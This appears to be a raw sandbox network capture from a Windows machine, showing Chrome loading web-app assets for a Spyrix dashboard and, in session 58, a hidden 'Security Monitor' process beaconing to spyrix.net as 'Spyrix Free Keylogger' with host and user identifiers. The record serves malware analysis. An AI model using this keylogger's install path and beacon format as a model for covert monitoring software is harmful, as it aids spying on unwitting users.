22 6d 64 22 7d 2c 76 61 72 69 61 6e 74 3a 7b 64 65 66 61 75 6c 74 3a 22 Data Ascii: import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49809	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:44 UTC	637	OUT	GET /dashboard30/assets/Nunito-Bold-765bfff4.woff2 HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:44 UTC	367	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:44 GMT Content-Type: font/woff2 Content-Length: 43608 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-aa58" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T02:04:43+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:44 UTC	3729	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 58 00 10 00 00 00 02 04 48 00 00 a9 f2 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 84 32 1b 82 91 14 1c 9a 08 06 60 3f 53 54 41 54 44 00 95 2a 11 08 0a 84 b7 40 83 c9 72 0b 91 16 00 01 36 02 24 03 a1 38 04 20 05 87 46 07 cd 35 0c 07 5b c9 c3 91 09 e5 c6 76 bf d7 2d 00 20 2d 83 74 1b 02 94 6d 6a 69 d9 e3 f3 5c 60 93 21 98 eb 7b 76 8e da 71 62 a5 de cb 58 c2 8e 59 2d 30 76 30 9e e7 ce 27 c9 fe ff ff ff ff ff 7f 51 b2 90 31 bd ff 90 fb 24 49 40 04 50 51 50 56 b5 b6 db 74 9a 05 44 b3 14 33 8a 62 a8 15 24 2c aa a4 ca 56 35 bd 3b 88 5e 1e fb 9e 62 18 a2 7b 4b 75 a4 3b d5 29 6b b3 59 a5 72 8a e7 18 bb cb 54 4a 99 7b 64 a6 94 8e cb f5 86 9c 7b 64 b1 c6 98 11 37 96 32 dd 8f f7 47 d8 5b cc 98 e4 ac 8f Data Ascii: wOF2XH2`?STATD*@r6$8 F5[v- -tmji\`!{vqbXY-0v0'Q1$I@PQPVtD3b$,V5;^b{Ku;)kYrTJ{d{d72G[
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: 8a b3 60 92 86 62 a7 40 be ec c4 00 3d 38 9d 4c 6e 83 2f e1 f4 78 64 2c 41 21 84 05 71 24 04 81 6e 2e c2 da 87 8b e8 b5 7e 65 11 b5 48 76 90 ce 47 79 2b 29 28 74 b6 c7 ba 5c c3 e6 32 40 c4 8c 46 0f c6 39 74 f2 ad 01 c8 46 41 66 af ab ba f1 08 b3 5f 40 3b 65 0e 76 93 ee 73 34 8e 0e ab 8e 67 bf a9 22 9a fa 5e 2f 2e 02 11 75 de 16 e1 27 4a 21 47 52 3d 2d 3d 65 df 20 48 b5 34 4c 9c 28 49 3e a6 af 67 1f 2b 2f 9e 64 04 e5 e3 d8 94 fa 9c 7a 48 5c 87 c3 e2 1d d2 dc 91 27 81 f8 dc d1 df 6d 15 f2 ae da 75 b9 3b 90 b3 b5 f1 2f 1a f3 97 5e 7f eb af be 44 39 d4 f9 51 c9 49 4f 2b a6 e8 cc 72 50 09 57 e2 37 bc 98 bf d7 e7 70 37 18 15 b6 32 c4 a3 6f 7a d8 25 5f ce 93 fe dc 82 96 49 6d be 3c 2e 76 34 e4 d1 1a 02 ba 29 de a0 e9 f7 b6 8b 95 ad 2d a8 b2 8c 8b 0a cf dd b9 0f Data Ascii: `b@=8Ln/xd,A!q$n.~eHvGy+)(t\2@F9tFAf_@;evs4g"^/.u'J!GR=-=e H4L(I>g+/dzH\'mu;/^D9QIO+rPW7p72oz%_Im<.v4)-
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: f3 f7 67 9b 5b 6a d5 e8 e4 79 f3 66 7e cf fc 39 f6 19 d6 30 64 a2 6e 9f e5 6f eb b7 42 13 05 d6 6e 8a d4 a4 e4 59 eb ac a5 bb 29 5d 88 a2 4f c7 74 4e 4a d3 3e 31 e7 b3 17 8e b8 d0 76 11 48 6d 5a a1 f3 39 5f 5d 17 a8 9d 93 31 bc 03 19 0d fb 77 c8 53 ae 12 67 d3 97 a9 e5 12 f6 c7 37 0e 47 03 2a 2b 38 42 0f 09 8c 9f 6f 22 48 24 94 ee 24 b7 e8 d3 25 1f e6 17 e6 23 8a 07 7f d5 7c ed 3a ab 4b 4b 8c 9a 66 0e de 67 5e af fa 83 3a c2 b9 ea 69 55 74 f4 90 af 8e 85 55 25 b1 b6 91 f1 0e 00 2b 87 cd 7f bc c9 19 8f 7e 64 3a eb 4b 3f 92 05 7d 59 ff 77 a8 46 8d 4d d7 2d 89 00 f4 e5 e7 01 f7 f2 a2 e3 ec 36 9d 05 7c e3 88 19 18 76 41 74 43 f0 0e 4d 61 8d 2a d9 bf a5 9c 97 8a c4 91 14 2c 2a 8f bb f4 cb 5a d6 77 9f ab c5 5c a7 c5 76 0e 99 a1 8f 61 48 00 ab bf 0d 50 6b e2 40 Data Ascii: g[jyf~90dnoBnY)]OtNJ>1vHmZ9_]1wSg7G+8Bo"H$$%#\|:KKfg^:iUtU%+~d:K?}YwFM-6\|vAtCMa,*Zw\vaHPk@
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: c2 7f 7c 74 00 94 f8 83 03 01 57 12 6b a5 b4 59 46 97 d1 dd 65 7a 29 e7 95 82 cf 0a 7c 57 ee bd a6 4f 46 e4 f8 80 65 ff 60 3d 12 15 8b 33 e0 15 ff d4 e0 bb 5a 35 9a 34 46 c2 48 5f 9d 66 f5 5a 22 25 5b 1e ed 13 e3 4e 79 94 fd 1b 99 d0 d9 b9 76 3f 24 c7 d6 3b 01 55 18 0b 65 3a 5a 09 12 19 d8 d1 30 d2 c2 24 22 47 44 42 06 a1 42 d0 d0 e1 18 d8 c4 24 64 a4 e2 c4 53 52 51 d0 33 71 73 cd 75 37 c4 bb ed 8e 7b 12 fd eb be 07 52 bd 92 e6 b5 37 d2 65 7a 27 c3 6e fe e7 ab 3e b9 2b 41 a1 9b 72 64 cb 93 af c0 7b 59 3e 78 e8 3f 2f bd e5 a1 88 a7 62 5e 4a f0 94 e2 5a e1 c2 10 8e 19 c6 0c 0b 79 2b b3 d4 67 3e fe e7 ab 9c 9f 0a fe be 58 a6 52 80 2a cb 7d 15 a8 da 4a 35 56 a9 b5 da 77 6b d4 09 52 2f 58 83 b5 1a ad d3 24 44 b3 f5 5a 6c f4 c3 26 6d 36 db a2 c3 56 3f 85 ea 14 Data Ascii: \|tWkYFez)\|WOFe`=3Z54FH_fZ"%[Nyv?$;Ue:Z0$"GDBB$dSRQ3qsu7{R7ez'n>+Ard{Y>x?/b^JZy+g>XR*}J5VwkR/X$DZl&m6V?
2024-10-02 04:11:45 UTC	4096	IN	Data Raw: 49 34 50 4e a7 93 26 a5 bf 5e 6a 4d 66 13 b4 f6 b3 2d c5 74 ae b8 b4 76 3e 5c 71 d3 52 ab 22 9a f7 68 29 3e 6f 69 77 da 17 9a 52 88 b3 9c 07 33 2d d2 a9 71 30 fb 25 1c d8 f9 c4 6e 2b 9c d5 75 70 bf f6 55 2a ae 66 8c 92 37 3c 52 af 34 e3 99 a1 5f f2 77 d7 fb 4d 11 0d 37 22 d2 85 54 27 5d a7 50 47 16 3b 14 65 84 01 87 1d e8 3c 7a 1f 90 1b 06 35 23 58 2d 63 49 f2 b6 ac 8e 6c 59 35 af 4d 77 44 da 36 9b 6d 0f 5e d1 27 5b d3 c7 31 6c 25 42 29 4d 3d ef 90 9d ef 18 83 0f 73 91 12 c3 8c e5 5c da 89 5b 86 93 fc a5 9c 6d 8f 3e 0f 75 b6 9f 03 95 80 9a a6 1b 07 fa 00 ef 37 29 e5 3d 0b ac 8b 61 7e 4c 76 02 d7 43 38 39 7e 11 8d 13 4a 6d 8f 8a 52 e0 6e c0 14 b3 15 12 20 b4 89 d4 b8 03 a8 77 07 b7 3d d4 16 39 5f 7a f0 5c a4 17 6e 86 a5 97 47 2a 8d 95 14 42 39 8d 38 e9 a7 Data Ascii: I4PN&^jMf-tv>\qR"h)>oiwR3-q0%n+upUf7<R4_wM7"T']PG;e<z5#X-cIlY5MwD6m^'[1l%B)M=s\[m>u7)=a~LvC89~JmRn w=9_z\nGB98
2024-10-02 04:11:45 UTC	2043	IN	Data Raw: 23 e0 2f eb 5e 0e c5 fb ea 1a eb 70 8b 04 5d 6f c0 7d 8e 1b 9e 7e 66 a1 df e8 e9 11 e7 26 0a 85 9d d9 41 a1 32 58 6b a0 f1 c8 37 2a b1 3e ed fa ae 13 a2 93 0c 80 bb 01 c6 a5 44 61 76 b6 c4 e0 8b cf e8 3e b3 5d fc f7 61 e1 df be 89 36 c7 0e 34 dd 83 24 72 33 7a 19 a3 9c 62 71 b9 3e c3 f0 37 e0 aa 1b 01 37 16 6a b0 2d 0b bd 84 20 97 51 30 1d d8 53 2c 97 f6 15 a3 9e dc f7 e1 3c e3 16 64 df 2e 2a f6 84 96 8b 5d a3 15 eb bd 06 5d ef ea 29 26 12 9b e7 dd 1c 4f 19 c0 ae 49 b7 79 da 3f 74 2f fe 8c 0a 97 bc ed 1a 44 ee d3 fe a1 d1 9e d2 72 b0 e3 14 78 f5 db ce 41 ea 7d fa 53 f0 53 f3 ec 5c 92 c4 19 bc 75 57 a4 69 5d 18 f6 bd 4c 5a 85 66 4c aa 2e ca 06 97 58 d5 97 eb 5d d3 e8 15 4f ce 29 1a 27 4b a9 5e 9c e3 5d 1d c5 4c c9 29 9e 15 57 83 31 4f 2b 69 49 6d af 9b 54 Data Ascii: #/^p]o}~f&A2Xk7>Dav>]a64$r3zbq>77j- Q0S,<d.]])&OIy?t/DrxA}SS\uWi]LZfL.X]O)'K^]L)W1O+iImT
2024-10-02 04:11:45 UTC	4096	IN	Data Raw: 26 73 c3 f2 9c 52 e9 df 70 31 fe 4d d0 46 73 6f ff b9 40 9f 60 28 d1 da c7 9e 62 bd 51 9f af 1b 1c d6 c5 0e 5f 12 51 49 0e 10 d1 35 2c 1c 0f 0c 05 8a a6 89 fc 14 32 9e a7 d3 2b bb 6c 09 f9 fa 9f b7 bb 7f 0e 94 1a 9d 99 b7 db fd a3 81 83 71 39 b4 27 06 3f 5c ae 37 fb 19 a7 53 29 df af f1 9c 79 a2 be 86 0f 82 49 1a 14 47 66 7e ba 28 f0 5d ff 6f ab 35 8c 25 79 86 c2 bf ff 52 4e 78 68 30 c9 25 f1 d6 c2 28 bd d0 45 88 fb 6d 73 1e 69 5d c0 3f 71 88 f4 27 8c 7c f8 74 39 c1 10 62 4a 54 38 5b d2 41 26 63 72 c8 d6 4f 87 5d 9c 3d 1f 7d 3c c3 d0 a8 e5 18 3c b7 d8 0d 27 1a a5 e4 fd 5f 0e f6 59 c8 68 13 d7 60 4a b6 6d e0 bf ed 6e c1 d8 c9 93 c7 e9 b3 98 8f 63 d8 0f d3 cd 1d 93 87 91 e7 76 3b c9 06 bb 42 22 b6 65 f3 00 83 c6 ac 98 e8 8c c4 db f1 da d1 1e 9f 2f 55 f6 fc Data Ascii: &sRp1MFso@`(bQ_QI5,2+lq9'?\7S)yIGf~(]o5%yRNxh0%(Emsi]?q'\|t9bJT8[A&crO]=}<<'_Yh`Jmncv;B"e/U
2024-10-02 04:11:45 UTC	4096	IN	Data Raw: 6c 54 3c ed da 5d 49 e6 59 b7 73 49 e5 e9 e7 7f 8c a4 93 42 b2 f2 93 ed 62 81 d9 cb 49 38 44 0f a7 b7 63 5f 8f f9 0c 5f 36 5c fa 91 13 f5 09 44 29 59 14 65 ec 9f d0 7f 7e 59 dc df d4 0b 44 0a 63 36 68 72 09 74 80 bf 13 43 53 c9 42 71 f2 71 3b 3a 7c 69 a8 fd f8 de 6c 5f be fe fe b0 8a 02 85 56 93 1f ca f1 57 22 9e 6f d6 8f bb c7 5b 03 2f d2 5a ae 9a 95 4c 8e f6 30 57 76 c2 4b c2 cb 0e 77 26 4d b0 a8 4a c9 d4 36 76 7f fa 1d 73 fd ee 18 de 74 d3 6e 45 de 8c 1b e7 44 5a c2 82 ad d7 68 65 94 2d d4 b2 d0 a7 37 b7 b2 74 a2 7d 6f 66 ca f3 76 7b 47 f3 85 bb cd f5 77 a6 df 87 64 53 71 40 77 f0 e9 d9 cc e1 70 40 28 10 cd a1 95 cd 53 32 ee a0 f0 e9 88 77 58 b5 43 56 da 34 ef e7 07 c0 f8 a8 94 b8 85 f6 a7 23 c3 37 27 d5 95 fe 1a 1f 27 a3 cf 2a 5b a4 77 82 22 fb a9 94 Data Ascii: lT<]IYsIBbI8Dc__6\D)Ye~YDc6hrtCSBqq;:\|il_VW"o[/ZL0WvKw&MJ6vstnEDZhe-7t}ofv{GwdSq@wp@(S2wXCV4#7''*[w"
2024-10-02 04:11:45 UTC	4096	IN	Data Raw: 5b 9f eb 0c a9 c4 c7 08 dd a1 d0 cc 2c 28 ab b4 67 23 2f 06 1f bd b8 69 18 63 cf 2d 9c 7b f1 41 d1 1c eb e9 e0 8c 1e ae d6 a3 e2 ab b6 f7 e5 97 ce 0b 7e ee 36 bb f8 e1 85 72 b6 26 b4 b4 e7 09 56 2f 4c 08 83 66 65 52 2b 26 8f 74 8a 03 f8 7d 92 79 20 e4 00 7d 4b 4d 11 25 39 5a 40 49 2e aa d9 82 6d dd 42 3b 5c 7d c7 41 e1 f3 ed f0 1d db e1 c1 2d 87 f1 c3 d5 8d 50 52 74 34 9c d4 d4 be 85 be a5 9f be b5 d7 1c 6a 34 df 49 bd 5d bd e5 c4 ab 76 ee 6f 1c 13 3f 9a 63 fa 8d cb fd 97 63 8a e6 7f b6 79 60 35 06 1d 21 e7 56 5a 86 d4 e1 16 64 40 ea f8 90 7c 3c 0f 33 c8 ee 5e 40 21 c9 bd ea 5a 28 8f 98 5b e8 d2 aa 0b aa 95 d6 a1 09 19 e4 23 dd f1 a0 93 91 ba aa 0a 77 fd b5 62 9c d7 27 f9 84 9d 24 33 38 54 22 d6 81 e4 7a b8 98 94 9b 97 a4 51 e7 54 c4 9b fc 39 79 e4 23 e0 Data Ascii: [,(g#/ic-{A~6r&V/LfeR+&t}y }KM%9Z@I.mB;\}A-PRt4j4I]vo?ccy`5!VZd@\|<3^@!Z([#wb'$38T"zQT9y#
2024-10-02 04:11:45 UTC	4096	IN	Data Raw: ef 35 36 01 9a 52 33 74 77 2d 81 83 ab de 5d 8e 19 3b c8 62 3f 1b 6b 2c 78 0d 7e 67 df 2d 55 02 1d bb da c8 67 95 a5 58 48 1e 05 9b 1f 75 57 51 40 ee 0f c1 db 8c fa a3 82 5f a7 d0 ca 60 a4 fb 3f 35 09 2f a4 6a c8 00 d6 98 6a d2 8b 90 11 d1 6c 22 f4 20 3d 25 74 60 ad 6b a3 5e 4c 9d a4 26 5e 4a e9 e8 80 b1 3c c6 5c 42 88 60 2f e4 61 e4 03 28 72 18 e2 b3 cd 06 be 00 f8 7d 26 68 a8 51 52 f5 9d db e6 bb 6a 3a fb de 6a 42 af 5e bc e6 ad 10 62 d3 cb 6c 95 a2 27 9c 4e 07 51 8a eb 5d 49 09 2f df e2 9a 2b 18 f7 c1 af ab 52 5a e7 d4 96 9c 00 44 94 ef 91 13 25 b5 73 52 5a 57 fd fa 80 8b 5d 01 c4 f4 6a bd d4 d7 b5 ec c8 8f 9d 6d 7c 45 ca 88 93 bf 3f e0 85 5e 05 6c ec b7 6c 72 d2 d4 06 ed 98 e6 43 67 e3 b4 c7 8d 4d 4b 5b 75 59 0d c6 f6 ee 83 fb d8 e8 71 c0 b9 19 19 47 Data Ascii: 56R3tw-];b?k,x~g-UgXHuWQ@_`?5/jjl" =%t`k^L&^J<\B`/a(r}&hQRj:jB^bl'NQ]I/+RZD%sRZW]jm\|E?^llrCgMK[uYqG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49808	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:44 UTC	420	OUT	GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:44 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:44 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 796 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-31c" Cache: HIT X-Cached-Since: 2024-10-02T04:11:43+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:44 UTC	796	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 2c 67 20 61 73 20 63 2c 63 20 61 73 20 73 2c 6f 20 61 73 20 66 2c 62 20 61 73 20 6d 2c 68 20 61 73 20 70 2c 6e 2c 75 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 78 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 6f 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 54 65 78 74 2e 6d 6f 64 75 6c 65 2d 63 37 36 39 62 39 61 65 2e 6a 73 22 3b 63 6f 6e 73 74 20 62 3d 64 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 77 68 69 74 65 53 70 61 63 65 3a Data Ascii: import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49813	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:44 UTC	387	OUT	GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:45 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:45 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 838 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-346" Cache: STALE X-Cached-Since: 2024-10-02T02:04:55+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:45 UTC	838	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 63 20 61 73 20 6e 2c 6d 20 61 73 20 69 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 69 6e 63 6c 75 64 65 73 28 22 40 22 29 26 26 65 2e 69 6e 63 6c 75 64 65 73 28 22 2e 22 29 3f 22 22 3a 74 28 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 69 64 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3c 3d 31 38 30 3f 22 22 3a 74 28 22 54 68 65 20 66 69 65 6c 64 20 6d 75 73 74 20 63 6f 6e 74 61 69 6e 20 6c 65 73 73 20 74 68 61 6e 20 31 38 30 20 63 68 61 72 61 63 74 65 72 73 Data Ascii: import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49811	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:44 UTC	378	OUT	GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:45 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:45 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 523 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-20b" Cache: STALE X-Cached-Since: 2024-10-01T12:11:19+00:00 X-Node: m9-up-gc91 Accept-Ranges: bytes
2024-10-02 04:11:45 UTC	523	IN	Data Raw: 69 6d 70 6f 72 74 7b 6f 20 61 73 20 65 2c 62 20 61 73 20 6f 2c 69 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 73 3d 7b 78 6d 6c 6e 73 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 2c 76 69 65 77 42 6f 78 3a 22 30 20 30 20 32 34 20 32 34 22 7d 2c 6e 3d 74 28 22 70 61 74 68 22 2c 7b 64 3a 22 4d 31 34 2e 37 32 20 31 33 2e 34 33 34 68 2d 2e 36 37 37 6c 2d 2e 32 34 2d 2e 32 33 32 61 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 31 2e 33 34 36 2d 33 2e 36 32 37 20 35 2e 35 37 34 20 35 2e 35 37 34 20 30 20 31 20 30 2d 35 2e 35 37 34 20 35 2e 35 37 34 20 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 33 2e 36 32 37 2d 31 2e 33 34 36 6c 2e 32 33 32 2e Data Ascii: import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49812	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:44 UTC	415	OUT	GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:45 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:45 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 3702 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-e76" Cache: STALE X-Cached-Since: 2024-10-01T06:24:34+00:00 X-Node: m9-up-gc58 Accept-Ranges: bytes
2024-10-02 04:11:45 UTC	3702	IN	Data Raw: 69 6d 70 6f 72 74 20 42 20 66 72 6f 6d 22 2e 2f 6c 6f 6f 70 2d 63 34 35 66 30 66 31 65 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 64 20 61 73 20 62 2c 6d 20 61 73 20 69 2c 61 69 20 61 73 20 77 2c 63 20 61 73 20 64 2c 6f 20 61 73 20 75 2c 62 20 61 73 20 68 2c 69 20 61 73 20 66 2c 6e 20 61 73 20 6f 2c 75 20 61 73 20 61 2c 68 20 61 73 20 70 2c 55 20 61 73 20 76 2c 7a 20 61 73 20 6d 2c 65 20 61 73 20 43 2c 79 20 61 73 20 49 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 35 36 65 64 66 35 61 36 2e 6a 73 22 3b 63 6f 6e 73 74 20 57 3d 22 2d 7a 74 Data Ascii: import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-zt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49816	158.69.117.119	443	4996	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 415 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:45 UTC	415	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 77 69 7a 61 72 64 3a 53 74 61 72 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 6a 6f 6e 65 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 31 33 38 37 32 37 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 37 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 34 32 2e 34 33 34 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 6f Data Ascii: &action=app:wizard:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:42.434&prg_lng=english&os_caption= ()&os_type=windows&o
2024-10-02 04:11:46 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49818	158.69.117.119	443

Timestamp	Bytes transferred	Direction	Data
